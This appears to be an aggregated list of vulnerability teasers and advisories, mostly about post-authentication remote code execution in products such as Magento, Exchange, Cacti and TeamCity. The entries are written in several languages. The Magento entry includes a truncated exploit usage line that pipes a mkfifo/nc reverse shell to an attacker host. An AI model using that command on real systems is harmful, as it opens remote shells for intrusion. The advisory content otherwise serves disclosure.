CVE-2015-1397-Magento-Shoplift

CVE-2015-1397-Magento-Shoplift 漏洞详情 漏洞出现在 HackTheBox 的 SwagShop 中 阶段 1 = exploit.py 获取 Magento CMS 管理后台的管理员凭据 阶段 2 = postauth.py 将 exploit.py 获取的凭据添加到 postauth.py 后，运行： root@kitploit: python3 postauth.py http://TARGET.SITE/index.php/admin "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc YOUR...

CVE-2023-20209

在红队行动期间，我注意到互联网上有相当多的 Cisco Expressway，于是开始研究它，但在工作中一直没有时间进一步探索该产品。 最初我想寻找一个认证绕过漏洞来串联成 RCE，但时间不够，最终确定了一个认证后的 RCE。前端 PHP 代码看起来很有进一步利用的潜力…… 这些是我发现 CVE-2023-20209 并通知供应商期间的笔记。 从利用后的进程列表开始，我们可以看到对 /sbin/request-crlupdate 的调用： root@kitploit: root 16449 0.0 0.0 7472 4024 ? S Feb18 0:00 bash...

OWASSRF-CVE-2022-41082-POC

CVE-2022-41082-POC CVE-2022-41082 NotProxyShell OWASSRF 脆弱性のPoC。Microsoft Exchangeサーバーに影響を与えます。 これはProxyNotShell OWASSRFの認証後RCEであり、コマンド実行には有効な資格情報が必要です。 TabShell脆弱性（CVE-2022-41076）のPowershell PoCスクリプトを追加 TabShell脆弱性は特権昇格の一種であり、OWASSRFを通じてアクセスに成功した後、制限されたPowershellサンドボックスからの脱出を可能にします。 影響を受けるバージョン...

CVE-2022-41082-POC

CVE-2022-41082-POC 针对 CVE-2022-41082 NotProxyShell OWASSRF 漏洞的 PoC，该漏洞影响 Microsoft Exchange Server。 这是 ProxyNotShell OWASSRF 的认证后 RCE（Post-Auth RCE），执行命令需要有效凭据。 添加了针对 TabShell 漏洞 CVE-2022-41076 的 Powershell PoC 脚本 TabShell 漏洞是一种权限提升形式，允许你在通过 OWASSRF 成功获得访问权限后，突破受限的 Powershell 沙箱。 受影响版本 Exchange...

Crater-CVE-2023-46865-RCE

Crater-CVE-2023-46865-RCE Crater =6.0.6，CVE-2023-46865 认证后远程代码执行（超级管理员） 漏洞描述 Crater Invoice 缺乏适当的输入验证，存在可上传危险类型文件的不受限制的文件上传漏洞。通过在 IDAT 图像数据块中嵌入有效的 PHP 载荷，即可绕过 Base64Mime 检查类。具有超级管理员权限的用户可以通过公司徽标上传接口 /api/v1/company/upload-logo 上传构造的载荷。 使用方法 root@kitploit: $ usage: python3 crater-rce.py --target...

CVE-2019-20224

CVE-2019-20224 El exploit oficial para Pandora v7.0NG Ejecución remota de código post-autenticación CVE-2019-20224...

CVE-2020-8813

CVE-2020-8813 Cacti v1.2.8 远程代码执行漏洞 CVE-2020-8813 的官方利用程序 Cacti v1.2.8 未授权远程代码执行 Cacti v1.2.8 认证后远程代码执行...

CVE-2019-11539

CVE-2019-11539 原始发现者：Orange Tsai, Meh Chang 作者：Justin Wagner, Alyssa Herrera 致谢：Orange, Meh Chang, Rich Warren, Alyssa, Mimir 漏洞描述 在 Pulse Secure Pulse Connect Secure 版本 9.0RX（9.0R3.4 之前）、8.3RX（8.3R7.1 之前）、8.2RX（8.2R12.1 之前）和 8.1RX（8.1R15.1 之前），以及 Pulse Policy Secure 版本 9.0RX（9.0R3.2...

CVE-2026-73489 Russh: Post-auth remote panic via pty-req with more than 130 terminal-mode records

Russh is a Rust SSH client & server library. Prior to 0.62.4, an authenticated SSH client can cause a denial of service by sending a pty-req channel request with more than 130 terminal-mode records. The parser in russh/src/server/encrypted.rs stores terminal modes in a fixed 130-entry...

EUVD-2026-55962

The Device Configuration Framework is vulnerable to an authentication bypass flaw. This flaw can only be exploited after authenticating with a viewer-privileged service account...

GHSA-8WC8-HF36-MJH9 File Browser: ScopedFs follows a dangling symlink on write, letting a scoped user create files outside their scope

Summary ScopedFs confines every File Browser user to a scope directory. Its within guard is meant to reject any operation that follows a symbolic link out of that scope. When the link target does not exist yet, the guard walks up to the nearest existing ancestor and validates that instead. For a...

CVE-2026-7829 UltraVNC repeater authenticated out-of-bounds write in rule parser via oversized token

UltraVNC repeater through 1.8.2.2 contains a post-authentication out-of-bounds write in the allow/deny rule parser. In repeater/webgui/settings.c:225-272, after strncpys copies a rule token into temp1rule1 25-byte destination or temp2/temp3 16-byte destination, the code unconditionally writes a N...

JetBrains TeamCity <= 2025.11.4 Privilege Escalation (CVE-2026-44413)

The version of JetBrains TeamCity installed on the remote host is 2025.11.4 or prior. It is, therefore, affected by a post-authentication privilege escalation vulnerability that may allow any authenticated user, including standard or guest accounts, to expose some parts of the TeamCity server API...

EUVD-2026-23519

xrdp is an open source RDP server. Versions through 0.10.5 have a heap-based buffer overflow in the EGFX graphics dynamic virtual channel implementation due to insufficient validation of client-controlled size parameters, allowing an out-of-bounds write via crafted PDUs. Pre-authentication...

DEBIAN-CVE-2026-23943

Improper Handling of Highly Compressed Data Compression Bomb vulnerability in Erlang OTP ssh sshtransport modules allows Denial of Service via Resource Depletion. The SSH transport layer advertises legacy zlib compression by default and inflates attacker-controlled payloads pre-authentication...

CVE-2026-23943 Pre-auth SSH DoS via unbounded zlib inflate

Improper Handling of Highly Compressed Data Compression Bomb vulnerability in Erlang OTP ssh sshtransport modules allows Denial of Service via Resource Depletion. The SSH transport layer advertises legacy zlib compression by default and inflates attacker-controlled payloads pre-authentication...

CVE-2024-48705

Wavlink AC1200 with firmware versions M32A3V1410230602 and M32A3V1410240222 are vulnerable to a post-authentication command injection while resetting the password. This vulnerability is specifically found within the "setsysadm" function of the "adm.cgi" binary, and is due to improper santization ...

VulnCheck KEV: CVE-2024-45891

DrayTek Vigor3900 1.5.1.3 contains a post-authentication command injection vulnerability. This vulnerability occurs when the action parameter in cgi-bin/mainfunction.cgi is set to deletewlanprofile...

CVE-2025-49218

A post-auth SQL injection vulnerability in the Trend Micro Endpoint Encryption PolicyServer could allow an attacker to escalate privileges on affected installations. This is similar to, but not identical to CVE-2025-49215. Please note: an attacker must first obtain the ability to execute...

Fedora 42 : roundcubemail (2025-70701de9de)

The remote Fedora 42 host has a package installed that is affected by a vulnerability as referenced in the FEDORA-2025-70701de9de advisory. This is a security update to the stable version 1.6 of Roundcube Webmail. It provides fixes to recently reported security vulnerabilities: Fix Post-Auth RCE...